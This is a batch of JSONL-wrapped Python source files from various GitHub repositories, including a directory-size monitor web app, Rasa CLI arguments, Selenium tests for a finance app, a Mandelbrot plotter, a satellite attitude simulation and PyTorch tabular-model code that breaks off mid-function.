\")\r\n\r\n doc.append(\"\")\r\n return doc\r\n\r\n def handler(self, form):\r\n path = form.get(\"path\", self.PATH)\r\n size_threshold_mb = int(form.get(\"size_threshold_mb\", self.SIZE_THRESHOLD_MB) or 0)\r\n refresh_secs = int(form.get(\"refresh_secs\", self.REFRESH_SECS) or 0)\r\n status = \"Waiting\"\r\n if path and fs.Dir(path):\r\n #\r\n # Ignore any non-existent paths, including garbage.\r\n # Create a new path handler if needed, or pull back\r\n # and existing one, and return the latest list.\r\n #\r\n with self._paths_lock:\r\n if path not in self.paths:\r\n self.paths[path] = Path(path, size_threshold_mb, self.N_FILES_AT_A_TIME)\r\n path_handler = self.paths[path]\r\n if path_handler._size_threshold_mb != size_threshold_mb:\r\n path_handler.finish()\r\n path_handler = self.paths[path] = Path(path, size_threshold_mb, self.N_FILES_AT_A_TIME)\r\n self._paths_accessed[path] = win32timezone.utcnow()\r\n files = sorted(path_handler.updated(), key=operator.attrgetter(\"size\"), reverse=True)\r\n status = path_handler.status()\r\n\r\n #\r\n # If any path hasn't been queried for at least\r\n # three minutes, close the thread down and delete\r\n # its entry. If it is queried again, it will just\r\n # be restarted as new.\r\n #\r\n for path, last_accessed in self._paths_accessed.iteritems():\r\n if (win32timezone.utcnow() - last_accessed).seconds > 180:\r\n path_handler = self.paths.get(path)\r\n if path_handler:\r\n path_handler.finish()\r\n del self.paths[path]\r\n del self._paths_accessed[path]\r\n\r\n else:\r\n files = []\r\n return self.doc(files, status, form)\r\n\r\n def __call__(self, environ, start_response):\r\n \"\"\"Only attempt to handle the root URI. If a refresh interval\r\n is requested (the default) then send a header which forces\r\n the refresh.\r\n \"\"\"\r\n path = shift_path_info(environ).rstrip(\"/\")\r\n if path == \"\":\r\n form = dict((k, v[0]) for (k, v) in cgi.parse_qs(list(environ['QUERY_STRING']).iteritems()) if v)\r\n if form.get(\"path\"):\r\n form['path'] = form['path'].rstrip(\"\\\\\") + \"\\\\\"\r\n refresh_secs = int(form.get(\"refresh_secs\", self.REFRESH_SECS) or 0)\r\n headers = []\r\n headers.append((\"Content-Type\", \"text/html; charset=utf-8\"))\r\n if refresh_secs:\r\n headers.append((\"Refresh\", \"%s\" % refresh_secs))\r\n start_response(\"200 OK\", headers)\r\n return (d.encode(\"utf8\") + \"\\n\" for d in self.handler(form))\r\n else:\r\n start_response(\"404 Not Found\", [(\"Content-Type\", \"text/plain\")])\r\n return []\r\n\r\n def finish(self):\r\n for path_handler in self.paths.itervalues():\r\n path_handler.finish()\r\n\r\nif __name__ == '__main__':\r\n misc.set_console_title(\"Monitor Directory\")\r\n PORT = 8000\r\n HOSTNAME = socket.getfqdn()\r\n threading.Timer(\r\n 2.0,\r\n lambda: os.startfile(\"http://%s:%s\" % (HOSTNAME, PORT))\r\n ).start()\r\n\r\n app = App()\r\n try:\r\n make_server('', PORT, app).serve_forever()\r\n except KeyboardInterrupt:\r\n print(\"Shutting down gracefully...\")\r\n finally:\r\n app.finish()\r\n","repo_name":"tjguk/winsys","sub_path":"winsys/extras/monitor_directory.py","file_name":"monitor_directory.py","file_ext":"py","file_size_in_byte":15377,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"78"}
+{"seq_id":"14699453183","text":"import argparse\n\nfrom rasa.constants import DEFAULT_DATA_PATH, DEFAULT_RASA_X_PORT\n\nfrom rasa.cli.arguments.default_arguments import add_model_param, add_data_param\nfrom rasa.cli.arguments.run import add_server_arguments\n\n\ndef set_x_arguments(parser: argparse.ArgumentParser):\n add_model_param(parser, add_positional_arg=False)\n\n add_data_param(parser, default=DEFAULT_DATA_PATH, data_type=\"stories and Rasa NLU \")\n\n parser.add_argument(\n \"--no-prompt\",\n action=\"store_true\",\n help=\"Automatic yes or default options to prompts and oppressed warnings.\",\n )\n\n parser.add_argument(\n \"--production\",\n action=\"store_true\",\n help=\"Run Rasa X in a production environment.\",\n )\n\n parser.add_argument(\n \"--rasa-x-port\",\n default=DEFAULT_RASA_X_PORT,\n type=int,\n help=\"Port to run the Rasa X server at.\",\n )\n\n add_server_arguments(parser)\n","repo_name":"mahbubcseju/Rasa_Japanese","sub_path":"rasa/rasa/cli/arguments/x.py","file_name":"x.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"78"}
+{"seq_id":"32588249210","text":"import math\n\na = int(input())\nb = int(input())\n\nc = math.sqrt(a**2 + b**2)\nprint(c)\nd = int(round(math.degrees(math.acos(b/c))))\nprint(d)\n\nt = u\"\\u00b0\"\nprint (str(d) + t)\n","repo_name":"nadyrbek97/hak_python_task","sub_path":"hak_triangle.py","file_name":"hak_triangle.py","file_ext":"py","file_size_in_byte":172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"30972142942","text":"import os, re\nfrom os import sys\nfrom distutils.core import setup\nfrom distutils.command.install import INSTALL_SCHEMES\nfrom imp import find_module\n#from importlib import find_module\n\nfor scheme in INSTALL_SCHEMES.values():\n scheme['data'] = scheme['purelib']\n\n\"\"\" Check for required modules \"\"\"\ntry:\n find_module('numpy')\nexcept:\n sys.exit('### Error: python module numpy not found')\n \ntry:\n find_module('scipy')\nexcept:\n sys.exit('### Error: python module scipy not found')\n \ntry:\n find_module('astropy')\nexcept ImportError:\n try:\n find_module('pyfits')\n except ImportError:\n sys.exit('### Error: Neither astropy nor pyfits found.')\n\ntry:\n find_module('matplotlib')\nexcept ImportError:\n sys.exit('### Error: python module matplotlib not found')\n\ntry:\n find_module('cdfutils')\nexcept ImportError:\n sys.exit('### Error: python module cdfutils not found. '\n 'Download and install from github cdfassnacht/cdfutils')\n\n\n#try: find_module('MySQLdb')\n#except: sys.exit('### Error: python module MySQLdb not found')\n\n\nverstr = \"unknown\"\ntry:\n parentdir = os.getcwd()+'/'\n verstrline = open(parentdir+'/specim/_version.py', \"rt\").read()\nexcept EnvironmentError:\n pass # Okay, there is no version file.\nelse:\n VSRE = r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\"\n mo = re.search(VSRE, verstrline, re.M)\n if mo:\n verstr = mo.group(1)\n else:\n raise RuntimeError(\"unable to find version in \" + parentdir + \"+specim/_version.py\")\n\n\nsetup(\n name = 'specim',\n version = verstr,#'0.1.3',\n author = 'Chris Fassnacht',\n author_email = 'cdfassnacht@ucdavis.edu',\n scripts=[],\n license = 'LICENSE.txt',\n description = 'Code for visualizing fits images and for'\n 'extracting and plotting spectra',\n #long_description = open('README.txt').read(),\n requires = ['numpy','scipy','astropy','matplotlib','cdfutils'],\n packages = ['specim', 'specim.imfuncs', 'specim.specfuncs'],\n #package_dir = {'':'src'},\n package_data = {'specim.specfuncs' : ['Data/*']}\n)\n","repo_name":"pmozumdar/specim","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"}
+{"seq_id":"5287084071","text":"import unittest\nimport datetime as dt\nfrom functional_tests.TestCase import TestCase\nfrom functional_tests.homepage.HomePage import HomePage\n\nclass TestCase(TestCase):\n\n def setUp(self):\n super().setUp()\n self.create_user('voong.david@gmail.com', 'password')\n self.sign_in('voong.david@gmail.com', 'password')\n\ndef check_transactions(test_case, home_page, expected):\n\n transactions = home_page.get_transactions()\n test_case.assertEqual(len(expected), len(transactions))\n\n for t, exp in zip(transactions, expected):\n test_case.assertEqual(\n (t.date, t.size, t.description, t.balance),\n exp\n )\n\nclass TestUpdateTransaction(TestCase):\n\n def setUp(self):\n super().setUp()\n\n url = '{}/home?start=2018-01-01&end=2018-01-22'.format(self.live_server_url)\n self.driver.get(url)\n \n home_page = HomePage(self.driver)\n home_page.create_transaction(\n date=dt.date(2018, 1, 1),\n size=1,\n description='a',\n repeats='weekly',\n ends={'how': 'never_ends'})\n \n home_page.show_repeat_transactions_view()\n\n repeat_transactions = home_page.get_repeat_transactions()\n self.assertEqual(len(repeat_transactions), 1)\n\n rt = repeat_transactions[0]\n self.assertEqual(rt.start_date, dt.date(2018, 1, 1))\n self.assertEqual(rt.size, 1)\n self.assertEqual(rt.description, 'a')\n self.assertEqual(rt.frequency, 'weekly')\n self.assertEqual(rt.ends, 'never')\n\n self.repeat_transaction = rt\n self.home_page = home_page\n\n def check_transactions(self, expected):\n return check_transactions(self, self.home_page, expected)\n \n def test_make_transaction_earlier(self):\n\n # change start date to a week earlier\n rt = self.repeat_transaction\n rt.start_date = dt.date(2017, 12, 25)\n rt.save()\n\n home_page = self.home_page\n url = '{}/home?start=2017-12-25&end=2018-01-22'.format(self.live_server_url)\n self.driver.get(url)\n home_page.reload()\n \n expected = [\n (dt.date(2017, 12, 25), 1, 'a', '£1.00'),\n (dt.date(2018, 1, 1), 1, 'a', '£2.00'),\n (dt.date(2018, 1, 8), 1, 'a', '£3.00'),\n (dt.date(2018, 1, 15), 1, 'a', '£4.00'),\n (dt.date(2018, 1, 22), 1, 'a', '£5.00')\n ]\n\n self.check_transactions(expected)\n\n def test_make_transaction_later(self):\n\n # change start date to a week later\n rt = self.repeat_transaction\n rt.start_date = dt.date(2018, 1, 8)\n rt.save()\n\n self.home_page.reload()\n expected = [\n (dt.date(2018, 1, 8), 1, 'a', '£1.00'),\n (dt.date(2018, 1, 15), 1, 'a', '£2.00'),\n (dt.date(2018, 1, 22), 1, 'a', '£3.00'),\n ]\n self.check_transactions(expected)\n \n def test_change_size(self):\n\n # change size\n rt = self.repeat_transaction\n rt.size = 2\n rt.save()\n\n self.home_page.reload()\n\n expected = [\n (dt.date(2018, 1, 1), 2, 'a', '£2.00'),\n (dt.date(2018, 1, 8), 2, 'a', '£4.00'),\n (dt.date(2018, 1, 15), 2, 'a', '£6.00'),\n (dt.date(2018, 1, 22), 2, 'a', '£8.00')\n ]\n\n self.check_transactions(expected)\n\n def test_change_description(self):\n\n # change size\n rt = self.repeat_transaction\n rt.description = 'b'\n rt.save()\n\n self.home_page.reload()\n\n expected = [\n (dt.date(2018, 1, 1), 1, 'b', '£1.00'),\n (dt.date(2018, 1, 8), 1, 'b', '£2.00'),\n (dt.date(2018, 1, 15), 1, 'b', '£3.00'),\n (dt.date(2018, 1, 22), 1, 'b', '£4.00')\n ]\n \n self.check_transactions(expected)\n\n def test_change_end_criteria(self):\n\n # change date\n rt = self.repeat_transaction\n rt.ends = dt.date(2018, 1, 15)\n rt.save()\n\n self.home_page.reload()\n\n expected = [\n (dt.date(2018, 1, 1), 1, 'a', '£1.00'),\n (dt.date(2018, 1, 8), 1, 'a', '£2.00'),\n (dt.date(2018, 1, 15), 1, 'a', '£3.00'),\n ]\n\n self.check_transactions(expected)\n \n\nclass TestUpdateRepeatTransactionThousands(TestCase):\n\n def test(self):\n\n url = '{}/home?start=2018-01-01&end=2018-01-22'.format(self.live_server_url)\n self.driver.get(url)\n \n home_page = HomePage(self.driver)\n home_page.create_transaction(\n date=dt.date(2018, 1, 1),\n size=1000,\n description='a',\n repeats='weekly',\n ends={'how': 'ends_after_#_transactions', 'when': 2})\n \n home_page.show_repeat_transactions_view()\n\n repeat_transactions = home_page.get_repeat_transactions()\n self.assertEqual(len(repeat_transactions), 1)\n\n rt = repeat_transactions[0]\n self.assertEqual(rt.start_date, dt.date(2018, 1, 1))\n self.assertEqual(rt.size, 1000)\n self.assertEqual(rt.description, 'a')\n self.assertEqual(rt.frequency, 'weekly')\n self.assertEqual(rt.ends, dt.date(2018, 1, 8))\n\n # change date\n rt.ends = dt.date(2018, 1, 15)\n import time\n time.sleep(15)\n rt.save()\n\n home_page.reload()\n\n expected = [\n (dt.date(2018, 1, 1), 1000, 'a', '£1,000.00'),\n (dt.date(2018, 1, 8), 1000, 'a', '£2,000.00'),\n (dt.date(2018, 1, 15), 1000, 'a', '£3,000.00'),\n ]\n\n check_transactions(self, home_page, expected)\n\n \n","repo_name":"dvoong/voong_finance_3","sub_path":"functional_tests/homepage/test_repeat_transaction_update_and_deletion.py","file_name":"test_repeat_transaction_update_and_deletion.py","file_ext":"py","file_size_in_byte":5718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"14115346580","text":"# THIS was my first attempt at getting the numerical simulation up and running\r\n#theres a couple problems with this. One is I used Euler angles and the small angle approximation\r\n# that throws off the stability of the numerical integration and the small angles\r\n# are not valid after a certain period diverging from small angles\r\n\r\n\r\n\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nfrom scipy.integrate import odeint\r\n\r\n# satellite parameters\r\nm = 1500 # kg\r\njx = 1440 # kg*m^2\r\njy = 2500\r\njz = 3850\r\n\r\nr_c = (6378.135 + 650) # km\r\nh_w = 1000 # kgm^2/s\r\nq1 = -.5\r\nq2 = -.5\r\nq3 = .5\r\nq4 = .5\r\n\r\nn = np.sqrt(3.986004e5/r_c**3)\r\n\r\n\r\ndef num_integrate(y, t, Jx, Jy, Jz, n, h):\r\n omega1, omega2, omega3, phi, theta, psi = y\r\n\r\n dydt = [1/jx * (n*(4*n*(Jz-Jy) + h)*phi + (n*(Jx-Jy+Jz) + h)*omega3),\r\n 1/jy * (3*n**2*(Jz-Jx)*theta),\r\n 1/jz * (n*(n*(Jx-Jy) + h)*psi - (n*(Jx-Jy+Jz) + h)*omega1),\r\n omega1,\r\n omega2,\r\n omega3]\r\n return dydt\r\n\r\n\r\n# phi = np.arctan2(2*(q4*q1 + q2*q3), 1 -2*(q1**2 + q2**2))\r\n# theta = np.arcsin(2*(q4*q2 - q3*q1))\r\n# psi = np.arctan2(2*(q4*q3 + q1*q2), 1-2*(q2**2 + q3**2))\r\n# print(180/np.pi*phi)\r\n# print(180/np.pi*theta)\r\n# print(180/np.pi*psi)\r\n\r\ny0 = [.01, .1, .01, -np.pi/2, 0, np.pi/2]\r\nperiod = 2*np.pi / np.sqrt(2.896004e5) * r_c**1.5\r\n#t = np.linspace(0, int(3*period), int(3*period))\r\nt = np.linspace(0, 1000, 1000)\r\n\r\nsol = odeint(num_integrate, y0, t, args=(jx, jy, jz, n, h_w))\r\n\r\nphi = sol[:, 3]\r\ntheta = sol[:, 4]\r\npsi = sol[:, 5]\r\n\r\nfor i in range(len(phi)):\r\n # bound upper range\r\n while phi[i] > np.pi:\r\n phi[i] = phi[i] - 2*np.pi\r\n while theta[i] > np.pi:\r\n theta[i] = theta[i] - 2*np.pi\r\n while psi[i] > np.pi:\r\n psi[i] = psi[i] + 2*np.pi\r\n # Bound lower range\r\n while phi[i] < -np.pi:\r\n phi[i] = phi[i] + 2 * np.pi\r\n while theta[i] < -np.pi:\r\n theta[i] = theta[i] + 2*np.pi\r\n while psi[i] < -np.pi:\r\n psi[i] = psi[i] + 2 * np.pi\r\n\r\nplt.plot(t, sol[:, 0], label=\"phidot\")\r\nplt.plot(t, sol[:, 1], label=\"thetadot\")\r\nplt.plot(t, sol[:, 2], label=\"psidot\")\r\nplt.title(\"Numerical integration First attempt: Angular rates\")\r\nplt.xlabel(\"Time (s)\")\r\nplt.ylabel(\" w (rad/s)\")\r\nplt.legend()\r\nplt.grid()\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\nplt.plot(t, sol[:, 3], label=\"phi\")\r\nplt.plot(t, sol[:, 4], label=\"theta\")\r\nplt.plot(t, sol[:, 5], label=\"psi\")\r\nplt.title(\"Numerical Integration: Attitude Angles\")\r\nplt.xlabel(\"Time (s)\")\r\nplt.ylabel(\"Angle (rad)\")\r\nplt.legend()\r\nplt.grid()\r\nplt.show()","repo_name":"stephent0987/AERO424_Spacecraft_dynamics","sub_path":"AERO424_HW3.py","file_name":"AERO424_HW3.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"37409003593","text":"#!/usr/bin/python3\n\ndef unique(s):\n for c in range(0, len(s)):\n for d in range(c+1, len(s)):\n if s[c] == s[d]:\n return False\n return True\n\nbefore = [None] * 100\ndef permut(n,r):\n if n == -1:\n return [\"\"]\n else:\n if before[n-1] == None:\n before[n-1] = permut(n-1, r)\n\n\n res = []\n for i in r:\n if n > 4:\n print(i,n)\n for e in before[n-1]:\n candidate = i + e;\n if(unique(candidate)):\n res.append(candidate)\n\n return res\n\np = permut(9, [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"])\nprint(len(p))\nprint(p[1000000])\n","repo_name":"superboum/code-bazaar","sub_path":"algo/euler/24/bruteforce.py","file_name":"bruteforce.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"15405844562","text":"\"\"\"\r\n @name : b1030\r\n @version : 21.0105\r\n @author : zhangpeng96\r\n @pass_rate : p4 timeout\r\n\"\"\"\r\n\r\ndef bisect_right(a, x, lo, hi):\r\n while lo < hi:\r\n mid = (lo+hi)//2\r\n if x < a[mid]: hi = mid\r\n else: lo = mid+1\r\n return lo\r\n\r\n\r\nans = []\r\ncount, p = map(int, input().split())\r\ndigits = sorted(map(int, input().split()))\r\n# count, p = map(int, '10 8'.split())\r\n# digits = sorted(map(int, '2 3 20 4 5 1 6 7 8 9'.split()))\r\ndigits.sort()\r\n\r\nfor i, digit in enumerate(digits):\r\n ans.append(bisect_right(digits, digit*p, i, count)-i)\r\n\r\nprint(max(ans))","repo_name":"zhangpeng96/Programming-Ability-Practice","sub_path":"PAT-B/b1030/python-1030-stl-2.py","file_name":"python-1030-stl-2.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"32355983718","text":"# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n# This program is made to investigate the Mandelbrot Set. This is done by\n# calculating and plotting the plane of numbers for which the Mandelbrot\n# function does not converge. It is the first part of the first assignment for\n# the Stochastic Simulation course on the UvA in the master Computational Science.\n#\n# Tristan Assenmacher and Natasja Wezel\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n\nimport matplotlib.pyplot as plt\nfrom numba import jit\nimport numpy as np\nimport random\nimport time\nimport os\n\n\ndef main():\n\n # for each point we do 80 iterations to calculate whether it is in the set or not\n max_iterations_list = [100, 200, 500, 1000, 1500, 2000, 2500]\n max_iterations_list = [100]\n # discretization steps\n width, height = 20000, 20000\n\n print(\"Starting now............\")\n\n for max_iterations in max_iterations_list:\n print(max_iterations)\n\n # # zoom coordinates 1\n # real_min, real_max = -0.7463, -0.7413\n # im_min, im_max = 0.1102, 0.1152\n\n # plane = mandelbrot_set(real_min, real_max, im_min, im_max, width, height, max_iterations)\n # # calculate and plot the mandelbrot set\n # plot_mandelbrot(plane, max_iterations)\n\n # # zoom coordinates 2\n real_min, real_max = -0.74877, -0.74872\n im_min, im_max = 0.065053, 0.065103\n plane = mandelbrot_set(real_min, real_max, im_min, im_max, width, height, max_iterations)\n plot_mandelbrot(plane, max_iterations, real_min, real_max, im_min, im_max, width)\n\n # normal coordinates\n # real_min, real_max = -2, 1\n # im_min, im_max = -1.25, 1.25\n # plane = mandelbrot_set(real_min, real_max, im_min, im_max, width, height, max_iterations)\n\n # plot_mandelbrot(plane, max_iterations, real_min, real_max, im_min, im_max, width)\n\n\ndef plot_mandelbrot(plane, iters, real_min, real_max, im_min, im_max, width):\n \"\"\" Plots the set. \"\"\"\n\n colormaps = [plt.cm.magma, plt.cm.twilight, plt.cm.hot]\n # colormaps = [plt.cm.magma]\n\n for colormap in colormaps:\n plt.figure()\n\n # TODO: fix the x/y ticks (from -2,1 and from -1 to 1)\n colormap.set_under(color='black')\n plt.imshow(plane.T, origin='lower', cmap=colormap, vmin=0.0001)\n plt.ylabel(\"Imaginary axis\")\n plt.xlabel(\"Real axis\")\n plt.title(\"The Mandelbrot set \\niterations: \" + str(iters))\n\n # get current axes\n ax = plt.gca()\n\n # set x/y ticks\n x_ticks = np.linspace(real_min, real_max, 5)\n y_ticks = np.linspace(im_min, im_max, 5)\n locs = np.linspace(0, width, 5)\n\n plt.xticks(locs, x_ticks)\n plt.yticks(locs, y_ticks)\n\n if not os.path.isdir(\"figures\"):\n os.makedirs(\"figures\")\n\n try:\n plt.savefig(\"figures/mandelbrot_\" + str(time.time()) + \".png\")\n except ValueError:\n print(\"Everything is 0?\", iters)\n\n plt.close()\n\n@jit(nopython=True)\ndef not_in_mandelbrot(c, maxiter):\n \"\"\" Calculates whether a given complex number (c) is in the Mandelbrot Set\n or not. \"\"\"\n\n real = c.real\n imag = c.imag\n\n for n in range(maxiter):\n real2 = real * real\n imag2 = imag * imag\n\n # if abs(z) > 2, it is in the set: this is computationally expensive tho\n if real2 + imag2 > 4.0:\n return n\n\n # update z using the Mandelbrot formula.\n imag = 2 * real * imag + c.imag\n real = real2 - imag2 + c.real\n\n # if not in the set, return False\n return False\n\n\n@jit(nopython=True, parallel=True)\ndef mandelbrot_set(real_min, real_max, im_min, im_max, width, height, maxiter):\n \"\"\" For each point on a given grid, calculates whether it belongs to the\n Mandelbrot set or not. \"\"\"\n\n # define axis and plane\n real_axis = np.linspace(real_min, real_max, width)\n im_axis = np.linspace(im_min, im_max, height)\n plane = np.empty((width,height))\n\n # loop over each point in the plane and call the mandelbrot() function\n for i in range(width):\n if i % 100 ==0:\n print(\"progres: \", i, \"/\", width)\n\n for j in range(height):\n plane[i,j] = not_in_mandelbrot(real_axis[i] + 1j * im_axis[j], maxiter)\n\n return plane\n\nif __name__ == '__main__':\n main()\n","repo_name":"NatasjaWezel/StochasticSimulation","sub_path":"assignment1/mandelbrot_plots.py","file_name":"mandelbrot_plots.py","file_ext":"py","file_size_in_byte":4390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42430047235","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\nimport pytorch_lightning as pl\nimport torch.optim as optim\nfrom skorch import NeuralNetClassifier\nimport pandas as pd\nimport numpy as np\nfrom skorch.utils import check_indexing\nfrom skorch.utils import multi_indexing\nfrom skorch.utils import to_numpy\nfrom skorch.utils import is_pandas_ndframe\nfrom skorch.utils import flatten\nfrom functools import partial\nfrom scipy import sparse\n\nclass RegressionModel(nn.Module):\n#class RegressionModel(pl.LightningModule):\n def __init__(self, emb_szs, n_cont, emb_drop, out_sz, szs, drops, y_range, use_bn=True):\n super().__init__()\n\n # embeddings\n for i, (c, s) in enumerate(emb_szs): assert c > 1, f\"cardinality must be >=2, got emb_szs[{i}]: ({c},{s})\"\n self.embs = nn.ModuleList([nn.Embedding(c+1, s) for c, s in emb_szs])\n\n for emb in self.embs: emb_init(emb)\n n_emb = sum(e.embedding_dim for e in self.embs)\n self.n_emb, self.n_cont = n_emb, n_cont\n\n\n # linear & batch norm/group norm)\n szs = [n_emb + n_cont] + szs\n self.lins = nn.ModuleList([nn.Linear(szs[i], szs[i + 1]) for i in range(len(szs) - 1)])\n self.bns = nn.ModuleList([nn.GroupNorm(1, sz) for sz in szs[1:]])\n for o in self.lins: nn.init.kaiming_normal_(o.weight.data)\n self.outp = nn.Linear(szs[-1], out_sz)\n nn.init.kaiming_normal_(self.outp.weight.data)\n\n # output\n self.emb_drop = nn.Dropout(emb_drop)\n self.drops = nn.ModuleList([nn.Dropout(drop) for drop in drops])\n self.bn = nn.GroupNorm(1,n_cont)\n self.use_bn, self.y_range = use_bn, y_range\n self.activation = nn.Sigmoid()\n\n def forward(self, x_cat, x_cont):\n # Split one output into two\n # x_cat = D1.get_X_cat()\n# x_cont = D1.get_X_cont()\n\n\n # embedding for categorical variables\n if self.n_emb != 0:\n x = [e(x_cat[:, i]) for i, e in enumerate(self.embs)]\n x = torch.cat(x, 1)\n x = self.emb_drop(x)\n\n # embedding for continuous variables\n if self.n_cont != 0:\n x2 = self.bn(x_cont.float())\n x = torch.cat([x, x2], 1) if self.n_emb != 0 else x2\n for l, d, b in zip(self.lins, self.drops, self.bns):\n x = F.relu(l(x))\n if self.use_bn: x = b(x)\n x = d(x)\n\n # regression layer\n x = self.outp(x)\n if self.y_range:\n x = self.activation(x)\n x = x * (self.y_range[1] - self.y_range[0])\n x = x + self.y_range[0]\n# x = torch.where(torch.isnan(x), torch.zeros_like(x), x)\n# x = torch.where(torch.isinf(x), torch.zeros_like(x), x)\n return x.squeeze()\n\n\n def configure_optimizers(self):\n # optimizer = optim.SGD(model.parameters(), lr=args.lr, momentum=0)\n optimizer = optim.SGD(model.parameters(), lr=args.lr)\n return optimizer\n\n def BCELoss(self, output, target):\n return nn.BCELoss()\n\n def name(self):\n return \"RegressionModel\"\n\n\n def emb_init(x):\n x = x.weight.data\n sc = 2/(x.size(1)+1)\n x.uniform_(-sc,sc)\n\n# nope to tuples\n# A class for sklearns predict and fit in pytorch\nclass SampleWeightNeuralNet(NeuralNetClassifier):\n def __init__(self, *args, criterion__reduce=False, **kwargs):\n #def __init__(self, *args, criterion__reduce=False, **kwargs):\n #super().__init__(*args, criterion__reduce = criterion__reduce, **kwargs)\n super().__init__(*args, criterion__reduce=criterion__reduce, **kwargs)\n\n\n\n def fit(self, X_cat, X_cont, y, sample_weight=None):\n X = torch.cat([X_cat, X_cont], 1)\n # X = D1.get_X()\n # y = D1.get_y()\n # X_cat = D1.get_X_cat()\n # X_cont = D1.get_X_cont()\n\n if isinstance(X, (pd.DataFrame, pd.Series)) :\n #//category and data point\n # X_tuple = (X_cat, X_cont)\n #cat_array = X_tuple[0].numpy()\n #cont_array = X_tuple[1].numpy()\n #X_tuple = (cat_array, cont_array)#\n\n #X_cat = X_cat.to_numpy().astype('float32')\n X = X.to_numpy().astype('float32')\n #if isinstance(X_cont, (pd.DataFrame, pd.Series)):\n # X_cont = X_cont.to_numpy().astype('float32')\n if isinstance(y, (pd.DataFrame, pd.Series)):\n y = y.to_numpy()\n if sample_weight is not None and isinstance(sample_weight, (pd.DataFrame, pd.Series)):\n sample_weight = sample_weight.to_numpy()\n y = y.reshape([-1,1])\n sample_weight = sample_weight if sample_weight is not None else np.ones_like(y)\n #X_cat = {'X':X_cat, 'sample_weight': sample_weight}\n #X_cont = {'X':X_cont, 'sample_weight': sample_weight}\n #X = {**X_cat, **X_cont}\n X = {'X':X, 'sample_weight': sample_weight}\n return super().fit(X, y)\n\n def predict(self, X):\n if isinstance(X, (pd.DataFrame, pd.Series)):\n X = X.to_numpy().astype('float32')\n return (super().predict_proba(X) > 0.5).astype(np.float)\n\n def get_loss(self, y_pred, y_true, X, *args, **kwargs):\n loss_unreduced = super().get_loss(y_pred, y_true.float(), X, *args, **kwargs)\n sample_weight = X['sample_weight']\n sample_weight = sample_weight.to(loss_unreduced.device).unsqueeze(-1)\n #sample weights on GPU\n loss_reduced = (sample_weight * loss_unreduced).mean()\n return loss_reduced\n\n'''\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n net = SampleWeightNeuralNet(\n RegressionModel,\n max_epochs = 20,\n #optimizer = optim.Adam,\n lr = 0.001,\n #batch_size = 512,\n #train_split = None,\n iterator_train_shuffle = True,\n criterion = nn.BCELoss,\n device = device )\n\n def fit(X, y):\n fit = net.fit(X,y)\n return fit\n\n def pred(y):\n y_pred = net.predict(X)\n return y_pred\n'''\n\ndef emb_init(x):\n x = x.weight.data\n sc = 2/(x.size(1)+1)\n x.uniform_(-sc,sc)\n\ndef _apply_to_data(data, func, unpack_dict=False):\n \"\"\"Apply a function to data, trying to unpack different data\n types.\n \"\"\"\n apply_ = partial(_apply_to_data, func=func, unpack_dict=unpack_dict)\n\n if isinstance(data, dict):\n if unpack_dict:\n return [apply_(v) for v in data.values()]\n return {k: apply_(v) for k, v in data.items()}\n\n if isinstance(data, (list, tuple)):\n try:\n # e.g.list/tuple of arrays\n return [apply_(x) for x in data]\n except TypeError:\n return func(data)\n\n return func(data)\n\ndef _is_sparse(x):\n try:\n return sparse.issparse(x) or x.is_sparse\n except AttributeError:\n return False\n\ndef _len(x):\n if _is_sparse(x):\n return x.shape[0]\n return len(x)\n\ndef get_len(data):\n lens = [_apply_to_data(data, _len, unpack_dict=True)]\n lens = list(flatten(lens))\n len_set = set(lens)\n if len(len_set)!=1:\n raise ValueError(\"Dataset doesn't have consistent lengths\")\n return list(len_set)[0]\n\n\nclass Dataset(torch.utils.data.Dataset):\n def __init__(self, X_cat, X_cont, y, length= None):\n self.X_cat = X_cat\n self.X_cont = X_cont\n self.y = y\n\n X = torch.cat([X_cat, X_cont], 1)\n print(X)\n print(\"####### THIS IS X ^^^ #########\")\n self.X = X\n self.X_indexing = check_indexing(X)\n\n self.y_indexing = check_indexing(y)\n\n # self.X_cat_indexing = check_indexing(X_cat)\n # self.X_cont_indexing = check_indexing(X_cont)\n # self.X_cat_is_ndframe = is_pandas_ndframe(X_cat)\n # self.X_cont_is_ndframe = is_pandas_ndframe(X_cont)\n self.X_is_ndframe = is_pandas_ndframe(X)\n\n\n if length is not None:\n self._len = length\n return\n\n len_X = get_len(X)\n #len_X_cont = get_len(X_cont)\n if y is not None:\n len_y = get_len(y)\n if len_y!= len_X:\n print(\"len_y: \", len_y)\n print(\"\\n\")\n print(\"len_X: \", len_X)\n raise ValueError(\"Xs and y have inconsistent lengths\")\n self._len = len_X\n\n def __len__(self):\n return len(self._len)\n\n def transform(self, X, y):\n y = torch.Tensor([0]) if y is None else y\n if sparse.issparse(X):\n X = X.toarray().squeeze(0)\n return X, y\n\n def __getitem__(self, i):\n X, y = self.X, self.y\n if self.X_is_ndframe:\n X = {k: X[k].values.reshape(-1,1) for k in X}\n #if self.X_cont_is_ndframe:\n # X_cont = {k:X_cont[k].values.reshape(-1,1) for k in X_cont}\n Xi = 